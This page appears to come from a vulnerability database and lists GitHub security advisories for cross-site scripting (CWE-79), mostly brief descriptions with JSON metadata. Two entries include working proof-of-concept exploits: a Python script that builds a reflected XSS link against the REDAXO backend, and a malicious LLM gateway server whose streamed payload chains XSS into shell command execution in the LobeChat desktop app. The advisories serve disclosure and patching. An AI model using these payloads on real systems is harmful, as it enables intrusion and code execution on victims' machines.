CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
66737 vulnerabilities reference this CWE, most recent first.
GHSA-XQ4J-G85Q-WF97
Vulnerability from github – Published: 2026-04-10 19:40 – Updated: 2026-04-10 19:40Summary
A reflected XSS vulnerability has been identified in the REDAXO backend. The function parameter is concatenated into an API error message and rendered without HTML escaping.
Details
Root cause
User input function is injected into an exception message, then rendered by rex_view::error() which delegates to rex_view::message() without HTML escaping.
Vulnerable code (redaxo/src/core/lib/packages/api_package.php) :
$function = rex_request('function', 'string');
throw new rex_api_exception('Unknown package function "' . $function . '"!');
Sink (redaxo/src/core/lib/view.php) :
return '<div class="' . $cssClassMessage . '">' . $message . '</div>';
Source -> sink flow
- Source:
function(GET) - Propagation: concatenated into the exception message
- Sink: rendered via
rex_view::error()->rex_view::message()without escaping
Authentication required: yes (backend session)
PoC - Exploit
#!/usr/bin/env python3
import re
import urllib.parse
import requests
TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"
# A valid backend PHP session id (must belong to a user who can access the Packages page)
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx
https://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598
"
VERIFY_SSL = False
TIMEOUT = 15
PAYLOAD = '\\"><svg/onload=alert("Pwned")>'
def build_backend_url() -> str:
base = TARGET_URL.rstrip('/')
return f"{base}/{BACKEND_PATH.lstrip('/')}"
def extract_api_csrf(html_text: str) -> str:
m = re.search(r'rex-api-call=package[^\"]+_csrf_token=([^&\"\s]+)', html_text)
if not m:
raise RuntimeError("CSRF token for rex_api_call=package was not found in the page HTML.")
return m.group(1)
def set_session_cookie(session: requests.Session) -> None:
parsed = urllib.parse.urlparse(TARGET_URL)
if parsed.hostname:
session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")
def main() -> None:
backend_url = build_backend_url()
s = requests.Session()
set_session_cookie(s)
# Backend session required (role with access to packages)
r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
return
r = s.get(backend_url, params={"page": "packages"}, timeout=TIMEOUT, verify=VERIFY_SSL)
if r.status_code != 200:
print(f"[!] Failed to access packages page (HTTP {r.status_code}).")
return
api_token = extract_api_csrf(r.text)
params = {
"page": "packages",
"rex-api-call": "package",
"function": PAYLOAD,
"package": "nonexistent",
"_csrf_token": api_token,
}
exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
print(exploit_url)
if __name__ == "__main__":
main()
To run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.
Impact
- Confidentiality: Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
- Integrity: Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
- Availability: Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.
Demo
https://github.com/user-attachments/assets/41d0186a-7ca0-4482-86c5-8bea6c8f6ac6
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "redaxo/source"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:40:42Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nA **reflected XSS** vulnerability has been identified in the REDAXO backend. The `function` parameter is concatenated into an API error message and rendered without HTML escaping.\n\n---\n\n### Details\n\n**Root cause**\nUser input `function` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.\n\n**Vulnerable code (`redaxo/src/core/lib/packages/api_package.php`) :**\n\n```php\n$function = rex_request(\u0027function\u0027, \u0027string\u0027);\nthrow new rex_api_exception(\u0027Unknown package function \"\u0027 . $function . \u0027\"!\u0027);\n```\n\n**Sink (`redaxo/src/core/lib/view.php`) :**\n\n```php\nreturn \u0027\u003cdiv class=\"\u0027 . $cssClassMessage . \u0027\"\u003e\u0027 . $message . \u0027\u003c/div\u003e\u0027;\n```\n\n**Source -\u003e sink flow**\n\n* Source: `function` (GET)\n* Propagation: concatenated into the exception message\n* Sink: rendered via `rex_view::error()` -\u003e `rex_view::message()` without escaping\n\n**Authentication required:** yes (backend session)\n\n---\n\n### PoC - Exploit\n\n```python\n#!/usr/bin/env python3\nimport re\nimport urllib.parse\nimport requests\n\nTARGET_URL = \"http://poc.local/\"\nBACKEND_PATH = \"redaxo/index.php\"\n\n# A valid backend PHP session id (must belong to a user who can access the Packages page)\nSESSION_ID = \"xxxxxxxxxxxxxxxxxxxxx\n\nhttps://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598\n\n\"\n\nVERIFY_SSL = False\nTIMEOUT = 15\n\nPAYLOAD = \u0027\\\\\"\u003e\u003csvg/onload=alert(\"Pwned\")\u003e\u0027\n\ndef build_backend_url() -\u003e str:\n base = TARGET_URL.rstrip(\u0027/\u0027)\n return f\"{base}/{BACKEND_PATH.lstrip(\u0027/\u0027)}\"\n\n\ndef extract_api_csrf(html_text: str) -\u003e str:\n m = re.search(r\u0027rex-api-call=package[^\\\"]+_csrf_token=([^\u0026\\\"\\s]+)\u0027, html_text)\n if not m:\n raise RuntimeError(\"CSRF token for rex_api_call=package was not found in the page HTML.\")\n return m.group(1)\n\ndef set_session_cookie(session: requests.Session) -\u003e None:\n parsed = urllib.parse.urlparse(TARGET_URL)\n if parsed.hostname:\n session.cookies.set(\"PHPSESSID\", SESSION_ID, domain=parsed.hostname, path=\"/\")\n\n\ndef main() -\u003e None:\n backend_url = build_backend_url()\n\n s = requests.Session()\n set_session_cookie(s)\n\n # Backend session required (role with access to packages)\n r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)\n if \"rex-page-login\" in r0.text or \"rex_user_login\" in r0.text:\n print(\"[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.\")\n return\n\n r = s.get(backend_url, params={\"page\": \"packages\"}, timeout=TIMEOUT, verify=VERIFY_SSL)\n if r.status_code != 200:\n print(f\"[!] Failed to access packages page (HTTP {r.status_code}).\")\n return\n\n api_token = extract_api_csrf(r.text)\n\n params = {\n \"page\": \"packages\",\n \"rex-api-call\": \"package\",\n \"function\": PAYLOAD,\n \"package\": \"nonexistent\",\n \"_csrf_token\": api_token,\n }\n\n exploit_url = f\"{backend_url}?{urllib.parse.urlencode(params)}\"\n print(exploit_url)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nTo run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.\n\n---\n\n### Impact\n\n* **Confidentiality:** Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim\u2019s session.\n* **Integrity:** Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.\n* **Availability:** Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.\n\n### Demo\nhttps://github.com/user-attachments/assets/41d0186a-7ca0-4482-86c5-8bea6c8f6ac6",
"id": "GHSA-xq4j-g85q-wf97",
"modified": "2026-04-10T19:40:42Z",
"published": "2026-04-10T19:40:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/redaxo/core/security/advisories/GHSA-xq4j-g85q-wf97"
},
{
"type": "PACKAGE",
"url": "https://github.com/redaxo/core"
},
{
"type": "WEB",
"url": "https://github.com/redaxo/core/releases/tag/5.21.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)"
}
GHSA-XQ4J-RV6R-CH63
Vulnerability from github – Published: 2024-08-06 15:30 – Updated: 2024-08-15 18:31Cross-Site Scripting (XSS) vulnerability in School Event Management System affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the 'view' parameter in '/student/index.php'.
{
"affected": [],
"aliases": [
"CVE-2024-33992"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-06T13:15:55Z",
"severity": "HIGH"
},
"details": "Cross-Site Scripting (XSS) vulnerability in School Event Management System affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the\u00a0\u0027view\u0027 parameter in \u0027/student/index.php\u0027.",
"id": "GHSA-xq4j-rv6r-ch63",
"modified": "2024-08-15T18:31:45Z",
"published": "2024-08-06T15:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33992"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-janobe-products"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XQ4V-6896-QQ49
Vulnerability from github – Published: 2022-05-24 22:33 – Updated: 2024-01-10 18:30WordPress Popups, Welcome Bar, Optins and Lead Generation Plugin – Icegram (versions <= 2.0.2) vulnerable at "Headline" (&message_data[16][headline]) input.
{
"affected": [],
"aliases": [
"CVE-2021-36832"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-19T15:15:00Z",
"severity": "MODERATE"
},
"details": "WordPress Popups, Welcome Bar, Optins and Lead Generation Plugin \u2013 Icegram (versions \u003c= 2.0.2) vulnerable at \"Headline\" (\u0026message_data[16][headline]) input.",
"id": "GHSA-xq4v-6896-qq49",
"modified": "2024-01-10T18:30:24Z",
"published": "2022-05-24T22:33:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36832"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/icegram/wordpress-icegram-plugin-2-0-2-authenticated-stored-cross-site-scripting-xss-vulnerability"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/icegram/#developers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQ4V-VRP9-VCF2
Vulnerability from github – Published: 2022-06-08 22:24 – Updated: 2022-06-08 22:24Impact
DisplayName allows all the characters from users, which leads to an XSS vulnerability when directly displayed in the issue list.
Patches
DisplayName is sanitized before being displayed. Users should upgrade to 0.12.9 or the latest 0.13.0+dev.
Workarounds
Check and update the existing users' display names that contain malicious characters.
References
N/A
For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/pull/7009.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.12.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31038"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-08T22:24:25Z",
"nvd_published_at": "2022-06-09T17:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n`DisplayName` allows all the characters from users, which leads to an XSS vulnerability when directly displayed in the issue list.\n\n### Patches\n`DisplayName` is sanitized before being displayed. Users should upgrade to 0.12.9 or the latest 0.13.0+dev.\n\n### Workarounds\nCheck and update the existing users\u0027 display names that contain malicious characters.\n\n### References\nN/A\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/pull/7009.\n",
"id": "GHSA-xq4v-vrp9-vcf2",
"modified": "2022-06-08T22:24:25Z",
"published": "2022-06-08T22:24:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-xq4v-vrp9-vcf2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31038"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/7009"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/155cae1de8916fc3fde78f350763034b7422caee"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.12.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cross-site Scripting vulnerability in repository issue list in Gogs"
}
GHSA-XQ4X-622M-Q8FQ
Vulnerability from github – Published: 2026-05-05 18:04 – Updated: 2026-05-13 16:25Summary
The vulnerability was automatically discovered by an ai agent and then manually verified.
LobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).
The LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.
Details
When LobeChat processes custom tags in the Render process of src/features/Portal/Artifacts/Body/Renderer/index.tsx, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.
const Renderer = memo<{ content: string; type?: string }>(({ content, type }) => {
switch (type) {
case 'application/lobe.artifacts.react': {
return <ReactRenderer code={content} />;
}
case 'image/svg+xml': {
return <SVGRender content={content} />;
}
case 'application/lobe.artifacts.mermaid': {
return <Mermaid variant={'borderless'}>{content}</Mermaid>;
}
case 'text/markdown': {
return <Markdown style={{ overflow: 'auto' }}>{content}</Markdown>;
}
default: {
return <HTMLRenderer htmlContent={content} />;
}
}
});
export default Renderer;
If an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.
Additionally, Lobechat's Electron main process exposes an IPC interface called runCommand, used to invoke system commands. This interface allows arbitrary command execution and does not filter the command parameter. Therefore, if an attacker can obtain a handle to window.parent.electronAPI via XSS and call the runCommand method of the IPC, the ipcMain process can execute arbitrary system commands with the current user's privileges.
@IpcMethod()
async handleRunCommand({
command,
description,
run_in_background,
timeout = 120_000,
}: RunCommandParams): Promise<RunCommandResult> {
...
const childProcess = spawn(shellConfig.cmd, shellConfig.args, {
env: process.env,
shell: false,
});
...
}
PoC
The attacker launched a malicious OpenAI gateway on port 5001
from flask import Flask, Response, request, jsonify
import time
import json
app = Flask(__name__)
fake_api_key = "sk-test"
@app.route('/v1/chat/completions', methods=['POST', 'OPTIONS'])
def chat_completions():
if request.method == 'OPTIONS':
return Response(status=200, headers={
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*'
})
# Check for API Key
auth_header = request.headers.get('Authorization')
print(auth_header)
if not auth_header or auth_header != f'Bearer {fake_api_key}':
return jsonify({"error": {"message": "Invalid API Key", "type": "invalid_request_error", "code": "invalid_api_key"}}), 401
def generate():
payload = """
<lobeArtifact type="nebula">
<img src=x onerror='window.parent.electronAPI.invoke("shellCommand.handleRunCommand", {command:"open -a Calculator"})'>
</lobeArtifact>
"""
# Split payload into chunks to simulate streaming
chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]
for chunk in chunks:
data = {
"id": "chatcmpl-hpdoger-123",
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "gpt-3.5-turbo",
"choices": [{
"index": 0,
"delta": {"content": chunk},
"finish_reason": None
}]
}
yield f"data: {json.dumps(data)}\n\n"
time.sleep(0.1)
# End of stream
final_data = {
"id": "chatcmpl-hpdoger-123",
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "gpt-3.5-turbo",
"choices": [{
"index": 0,
"delta": {},
"finish_reason": "stop"
}]
}
yield f"data: {json.dumps(final_data)}\n\n"
yield "data: [DONE]\n\n"
return Response(generate(), mimetype='text/event-stream', headers={
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*'
})
@app.route('/v1/models', methods=['GET'])
def models():
return jsonify({
"object": "list",
"data": [{
"id": "gpt-3.5-turbo",
"object": "model",
"created": 1677610602,
"owned_by": "openai"
}]
})
if __name__ == '__main__':
print("Evil OpenAI-compatible server running on http://127.0.0.1:5001")
app.run(port=5001, debug=True)
The victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.
The victim was exposed to an arbitrary command execution vulnerability while chatting
reproduction
For attack reproduction, refer to this video. Once the victim configures the attacker's LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration opens a calculator in the victim's environment.
https://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d
Impact
Affected LobeChat clients can connect to the attacker's LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.
Patch
A patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@lobehub/lobehub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.26"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42045"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T18:04:53Z",
"nvd_published_at": "2026-05-12T18:17:23Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe vulnerability was automatically discovered by an ai agent and then manually verified.\n\nLobeChat\u0027s message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process\u0027s exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).\n\nThe LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.\n\n### Details\nWhen LobeChat processes custom tags in the Render process of `src/features/Portal/Artifacts/Body/Renderer/index.tsx`, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.\n\n```typescript\nconst Renderer = memo\u003c{ content: string; type?: string }\u003e(({ content, type }) =\u003e {\n switch (type) {\n case \u0027application/lobe.artifacts.react\u0027: {\n return \u003cReactRenderer code={content} /\u003e;\n }\n\n case \u0027image/svg+xml\u0027: {\n return \u003cSVGRender content={content} /\u003e;\n }\n\n case \u0027application/lobe.artifacts.mermaid\u0027: {\n return \u003cMermaid variant={\u0027borderless\u0027}\u003e{content}\u003c/Mermaid\u003e;\n }\n\n case \u0027text/markdown\u0027: {\n return \u003cMarkdown style={{ overflow: \u0027auto\u0027 }}\u003e{content}\u003c/Markdown\u003e;\n }\n\n default: {\n return \u003cHTMLRenderer htmlContent={content} /\u003e;\n }\n }\n});\n\nexport default Renderer;\n```\n\nIf an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.\n\nAdditionally, Lobechat\u0027s Electron main process exposes an IPC interface called `runCommand`, used to invoke system commands. This interface allows arbitrary command execution and does not filter the `command` parameter. Therefore, if an attacker can obtain a handle to `window.parent.electronAPI` via XSS and call the `runCommand` method of the IPC, the `ipcMain` process can execute arbitrary system commands with the current user\u0027s privileges.\n\n```typescript\n @IpcMethod()\n async handleRunCommand({\n command,\n description,\n run_in_background,\n timeout = 120_000,\n }: RunCommandParams): Promise\u003cRunCommandResult\u003e {\n ...\n const childProcess = spawn(shellConfig.cmd, shellConfig.args, {\n env: process.env,\n shell: false,\n });\n ...\n }\n```\n\n### PoC\nThe attacker launched a malicious OpenAI gateway on port 5001\n\n```python\nfrom flask import Flask, Response, request, jsonify\nimport time\nimport json\n\napp = Flask(__name__)\nfake_api_key = \"sk-test\"\n\n@app.route(\u0027/v1/chat/completions\u0027, methods=[\u0027POST\u0027, \u0027OPTIONS\u0027])\ndef chat_completions():\n if request.method == \u0027OPTIONS\u0027:\n return Response(status=200, headers={\n \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n \u0027Access-Control-Allow-Headers\u0027: \u0027*\u0027\n })\n\n # Check for API Key\n auth_header = request.headers.get(\u0027Authorization\u0027)\n print(auth_header)\n if not auth_header or auth_header != f\u0027Bearer {fake_api_key}\u0027:\n return jsonify({\"error\": {\"message\": \"Invalid API Key\", \"type\": \"invalid_request_error\", \"code\": \"invalid_api_key\"}}), 401\n\n def generate(): \n payload = \"\"\"\n\u003clobeArtifact type=\"nebula\"\u003e\n\u003cimg src=x onerror=\u0027window.parent.electronAPI.invoke(\"shellCommand.handleRunCommand\", {command:\"open -a Calculator\"})\u0027\u003e\n\u003c/lobeArtifact\u003e\n\"\"\"\n # Split payload into chunks to simulate streaming\n chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]\n \n for chunk in chunks:\n data = {\n \"id\": \"chatcmpl-hpdoger-123\", \n \"object\": \"chat.completion.chunk\", \n \"created\": int(time.time()), \n \"model\": \"gpt-3.5-turbo\", \n \"choices\": [{\n \"index\": 0, \n \"delta\": {\"content\": chunk},\n \"finish_reason\": None\n }]\n }\n yield f\"data: {json.dumps(data)}\\n\\n\"\n time.sleep(0.1)\n \n # End of stream\n final_data = {\n \"id\": \"chatcmpl-hpdoger-123\", \n \"object\": \"chat.completion.chunk\", \n \"created\": int(time.time()), \n \"model\": \"gpt-3.5-turbo\", \n \"choices\": [{\n \"index\": 0, \n \"delta\": {},\n \"finish_reason\": \"stop\"\n }]\n }\n yield f\"data: {json.dumps(final_data)}\\n\\n\"\n yield \"data: [DONE]\\n\\n\"\n\n return Response(generate(), mimetype=\u0027text/event-stream\u0027, headers={\n \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027, \n \u0027Access-Control-Allow-Headers\u0027: \u0027*\u0027\n })\n\n@app.route(\u0027/v1/models\u0027, methods=[\u0027GET\u0027])\ndef models():\n return jsonify({\n \"object\": \"list\", \n \"data\": [{\n \"id\": \"gpt-3.5-turbo\", \n \"object\": \"model\", \n \"created\": 1677610602, \n \"owned_by\": \"openai\"\n }]\n })\n\nif __name__ == \u0027__main__\u0027:\n print(\"Evil OpenAI-compatible server running on http://127.0.0.1:5001\")\n app.run(port=5001, debug=True)\n```\n\nThe victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.\n\n\u003cimg width=\"2048\" height=\"772\" alt=\"image\" src=\"https://github.com/user-attachments/assets/86fe8f76-d75f-4e23-a2c5-fe29b124c7a7\" /\u003e\n\nThe victim was exposed to an arbitrary command execution vulnerability while chatting\n\n\u003cimg width=\"2048\" height=\"1036\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0a84171f-ec78-4166-b7ab-298ece6b06b9\" /\u003e\n\n### reproduction\nFor attack reproduction, refer to this video. Once the victim configures the attacker\u0027s LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration `opens a calculator` in the victim\u0027s environment.\n\nhttps://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d\n\n### Impact\nAffected LobeChat clients can connect to the attacker\u0027s LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.\n\n### Patch\nA patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.",
"id": "GHSA-xq4x-622m-q8fq",
"modified": "2026-05-13T16:25:25Z",
"published": "2026-05-05T18:04:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lobehub/lobehub/security/advisories/GHSA-xq4x-622m-q8fq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42045"
},
{
"type": "PACKAGE",
"url": "https://github.com/lobehub/lobehub"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "LobeHub has a Cross-Site Scripting issue that escalates to Remote Code Execution"
}
GHSA-XQ54-FG9W-JW52
Vulnerability from github – Published: 2026-07-07 21:31 – Updated: 2026-07-09 15:32Lack of escaping leads to an XSS vulnerability in the generic image output layout.
{
"affected": [],
"aliases": [
"CVE-2026-48953"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-07T19:16:53Z",
"severity": "MODERATE"
},
"details": "Lack of escaping leads to an XSS vulnerability in the generic image output layout.",
"id": "GHSA-xq54-fg9w-jw52",
"modified": "2026-07-09T15:32:22Z",
"published": "2026-07-07T21:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48953"
},
{
"type": "WEB",
"url": "https://developer.joomla.org/security-centre/1061-20260707-core-xss-in-the-generic-image-output-layout.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XQ54-J4GH-PM4J
Vulnerability from github – Published: 2021-12-15 00:01 – Updated: 2021-12-17 00:00gnuboard5 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
{
"affected": [],
"aliases": [
"CVE-2021-3831"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-14T11:15:00Z",
"severity": "MODERATE"
},
"details": "gnuboard5 is vulnerable to Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"id": "GHSA-xq54-j4gh-pm4j",
"modified": "2021-12-17T00:00:48Z",
"published": "2021-12-15T00:01:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3831"
},
{
"type": "WEB",
"url": "https://github.com/gnuboard/gnuboard5/commit/2e81619ea87bc9c0b4a073d8df3c7693a6fdbf0d"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/25775287-88cd-4f00-b978-692d627dff04"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XQ59-RGX2-9M8C
Vulnerability from github – Published: 2022-05-17 01:41 – Updated: 2022-05-17 01:41Cross-site scripting (XSS) vulnerability in Arbor Networks Peakflow SP 5.1.1 before patch 6, 5.5 before patch 4, and 5.6.0 before patch 1 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to index.
{
"affected": [],
"aliases": [
"CVE-2012-4685"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-08-28T17:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in Arbor Networks Peakflow SP 5.1.1 before patch 6, 5.5 before patch 4, and 5.6.0 before patch 1 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to index.",
"id": "GHSA-xq59-rgx2-9m8c",
"modified": "2022-05-17T01:41:31Z",
"published": "2022-05-17T01:41:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4685"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/74648"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2012-04/0019.html"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2012-04/0036.html"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2012-04/0037.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48728"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/52881"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XQ5F-88W9-FFW2
Vulnerability from github – Published: 2024-05-17 06:31 – Updated: 2024-11-01 21:31The Popup4Phone WordPress plugin through 1.3.2 does not sanitise and escape some parameters, which could allow unauthenticated users to perform Cross-Site Scripting attacks against admins.
{
"affected": [],
"aliases": [
"CVE-2024-3231"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-17T06:15:53Z",
"severity": "MODERATE"
},
"details": "The Popup4Phone WordPress plugin through 1.3.2 does not sanitise and escape some parameters, which could allow unauthenticated users to perform Cross-Site Scripting attacks against admins.",
"id": "GHSA-xq5f-88w9-ffw2",
"modified": "2024-11-01T21:31:46Z",
"published": "2024-05-17T06:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3231"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/81dbb5c0-ccdd-4af1-b2f2-71cb1b37fe93"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XQ5R-RWPV-6JWC
